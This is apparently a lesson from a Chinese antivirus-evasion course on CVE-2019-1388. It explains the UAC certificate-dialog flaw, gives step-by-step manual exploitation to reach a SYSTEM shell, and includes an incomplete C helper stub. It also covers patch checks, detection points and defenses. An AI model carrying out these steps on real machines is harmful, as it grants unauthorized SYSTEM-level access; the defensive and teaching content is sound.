免杀专题

17、CVE-2019-1388UAC提权

1. 课程目标

学习CVE-2019-1388漏洞的原理和利用方法,这是一个利用证书对话框实现UAC绕过的经典漏洞。

1.1 学习目标

  • 理解CVE-2019-1388漏洞原理
  • 掌握漏洞利用步骤
  • 了解受影响的Windows版本
  • 学习防御和检测方法

2. 漏洞概述

属性
CVE编号 CVE-2019-1388
漏洞类型 UAC绕过/本地提权
影响组件 Windows证书对话框
CVSS评分 7.8 (高)
发现时间 2019年
补丁 KB4525235 (2019年11月)

2.1 受影响版本

  • Windows 7
  • Windows 8/8.1
  • Windows 10 (1903之前)
  • Windows Server 2008/2012/2016/2019

3. 漏洞原理

3.1 原理说明

1. 运行一个需要UAC提权的签名程序
2. 在UAC对话框中点击"显示发布者证书信息"
3. 证书对话框中有"颁发者"超链接
4. 点击超链接会以SYSTEM权限打开浏览器
5. 通过浏览器的"另存为"功能获得SYSTEM权限的文件对话框
6. 利用文件对话框启动cmd.exe获得SYSTEM shell

3.2 漏洞流程图

┌─────────────────────────────────────────────────────────┐
│  1. 运行签名的提权程序(如hhupd.exe)                    │
│     触发UAC对话框                                       │
└──────────────────────┬──────────────────────────────────┘

┌─────────────────────────────────────────────────────────┐
│  2. 点击"显示有关此发布者证书的信息"                     │
│     打开证书详情对话框                                   │
└──────────────────────┬──────────────────────────────────┘

┌─────────────────────────────────────────────────────────┐
│  3. 点击"颁发者"字段的超链接                             │
│     关键:此操作继承了consent.exe的SYSTEM权限            │
└──────────────────────┬──────────────────────────────────┘

┌─────────────────────────────────────────────────────────┐
│  4. 以SYSTEM权限打开默认浏览器                           │
│     浏览器进程具有SYSTEM权限                             │
└──────────────────────┬──────────────────────────────────┘

┌─────────────────────────────────────────────────────────┐
│  5. 在浏览器中按Ctrl+S打开"另存为"对话框                 │
│     文件对话框也具有SYSTEM权限                           │
└──────────────────────┬──────────────────────────────────┘

┌─────────────────────────────────────────────────────────┐
│  6. 在地址栏输入cmd.exe并执行                            │
│     获得SYSTEM权限的命令行                               │
└─────────────────────────────────────────────────────────┘

4. 手动利用步骤

4.1 准备工作

  1. 获取一个有签名的需要提权的可执行文件
  2. 推荐使用旧版本的 hhupd.exe(HTML Help可执行更新程序)
  3. 其他可用文件:旧版Adobe、Flash更新程序等

4.2 详细步骤

步骤1: 右键以管理员身份运行目标程序
       → 出现UAC对话框

步骤2: 点击"显示有关此发布者证书的信息"
       → 打开证书窗口

步骤3: 在"常规"选项卡找到"颁发者"
       → 点击颁发者的URL链接(蓝色超链接)

步骤4: 等待浏览器打开(此时浏览器是SYSTEM权限)
       → 注意:不要点击UAC的"是"或"否"

步骤5: 在浏览器中按Ctrl+S
       → 打开"另存为"对话框

步骤6: 在文件名或地址栏输入:
       C:\Windows\System32\cmd.exe
       → 按回车

步骤7: 获得SYSTEM权限的命令行
       → 执行whoami验证

5. 自动化利用代码

5.1 辅助脚本概念

由于这个漏洞主要依赖GUI操作,完全自动化需要模拟鼠标点击:

#include <windows.h>
#include <stdio.h>

// 注意:这是概念性代码,实际利用需要精确的坐标和时机
BOOL ExploitCVE2019_1388() {
    printf("[*] CVE-2019-1388 利用演示\n");
    printf("[!] 此漏洞需要GUI交互\n\n");
    
    // 1. 启动目标程序触发UAC
    printf("[1] 启动hhupd.exe...\n");
    ShellExecuteW(NULL, L"runas", L"hhupd.exe", NULL, NULL, SW_SHOW);
    
    Sleep(2000);
    
    // 2. 模拟点击"显示证书信息"
    // 需要找到UAC对话框并点击
    HWND hUAC = FindWindowW(NULL, L"用户帐户控制");
    if (hUAC) {
        printf("[2] 找到UAC对话框\n");
        // 模拟点击...这里需要精确的坐标
    }
    
    printf("[*] 后续步骤需要手动操作:\n");
    printf("    - 点击证书链接\n");
    printf("    - 在浏览器中Ctrl+S\n");
    printf("    - 输入cmd.exe路径\n");
    
    return TRUE;
}

int main() {
    ExploitCVE2019_1388();
    return 0;
}

5.2 PowerShell辅助脚本

# CVE-2019-1388 辅助信息脚本

# 检查系统是否打补丁
function Check-Patched {
    $hotfix = Get-HotFix -Id KB4525235 -ErrorAction SilentlyContinue
    if ($hotfix) {
        Write-Host "[!] 系统已打补丁 KB4525235" -ForegroundColor Red
        return $true
    } else {
        Write-Host "[+] 系统未打补丁,可能存在漏洞" -ForegroundColor Green
        return $false
    }
}

# 检查Windows版本
function Check-Version {
    $os = Get-WmiObject Win32_OperatingSystem
    Write-Host "[*] 系统版本: $($os.Caption) $($os.Version)"
    
    $build = [int]$os.BuildNumber
    if ($build -lt 18362) {
        Write-Host "[+] 版本可能受影响" -ForegroundColor Green
    } else {
        Write-Host "[!] 版本可能已修复" -ForegroundColor Yellow
    }
}

# 主函数
Write-Host "=== CVE-2019-1388 检查工具 ===" -ForegroundColor Cyan
Check-Version
Check-Patched

6. 技术细节分析

6.1 为什么浏览器有SYSTEM权限

consent.exe (SYSTEM权限)
    ↓ 创建
证书对话框 (继承SYSTEM权限)
    ↓ 点击超链接
ShellExecute() (以SYSTEM身份调用)
    ↓ 启动
浏览器进程 (继承SYSTEM权限)

6.2 关键点

  1. consent.exe: UAC的核心进程,运行在SYSTEM权限下
  2. 证书对话框: 作为consent.exe的子窗口,继承其权限
  3. 超链接处理: 使用ShellExecute打开URL,继承父进程权限
  4. 浏览器继承: 默认浏览器继承了SYSTEM权限

7. 检测与防御

7.1 检测方法

检测点 方法
进程监控 consent.exe创建浏览器进程
权限异常 浏览器以SYSTEM权限运行
行为分析 浏览器执行cmd.exe

7.2 防御措施

  1. 安装补丁: KB4525235
  2. 升级系统: Windows 10 1903+
  3. 限制证书对话框: 组策略配置
  4. 监控异常进程: SIEM规则

7.3 验证补丁

#include <windows.h>
#include <stdio.h>

BOOL IsPatched() {
    // 检查KB4525235或更新的补丁
    // 简化方法:检查Windows版本
    
    OSVERSIONINFOEXW osvi = { sizeof(osvi) };
    DWORDLONG dwlConditionMask = 0;
    
    VER_SET_CONDITION(dwlConditionMask, VER_BUILDNUMBER, VER_GREATER_EQUAL);
    osvi.dwBuildNumber = 18363;  // 1909
    
    if (VerifyVersionInfoW(&osvi, VER_BUILDNUMBER, dwlConditionMask)) {
        return TRUE;  // 版本足够新,已修复
    }
    
    return FALSE;
}

8. 相关漏洞

CVE 描述
CVE-2019-1388 本课内容
CVE-2019-0841 Windows AppX提权
CVE-2019-1405 UPnP服务提权

9. 课后作业

9.1、作业1:环境搭建(必做)

  1. 搭建未打补丁的Windows 7/10虚拟机
  2. 准备利用所需的签名程序

9.2、作业2:手动利用(必做)

  1. 按照步骤手动利用漏洞
  2. 验证获得的权限级别

9.3、作业3:检测规则(进阶)

  1. 编写检测consent.exe异常行为的规则
  2. 监控SYSTEM权限的浏览器进程

10. 下一课预告

下一课我们将学习白名单DLL劫持绕UAC技术。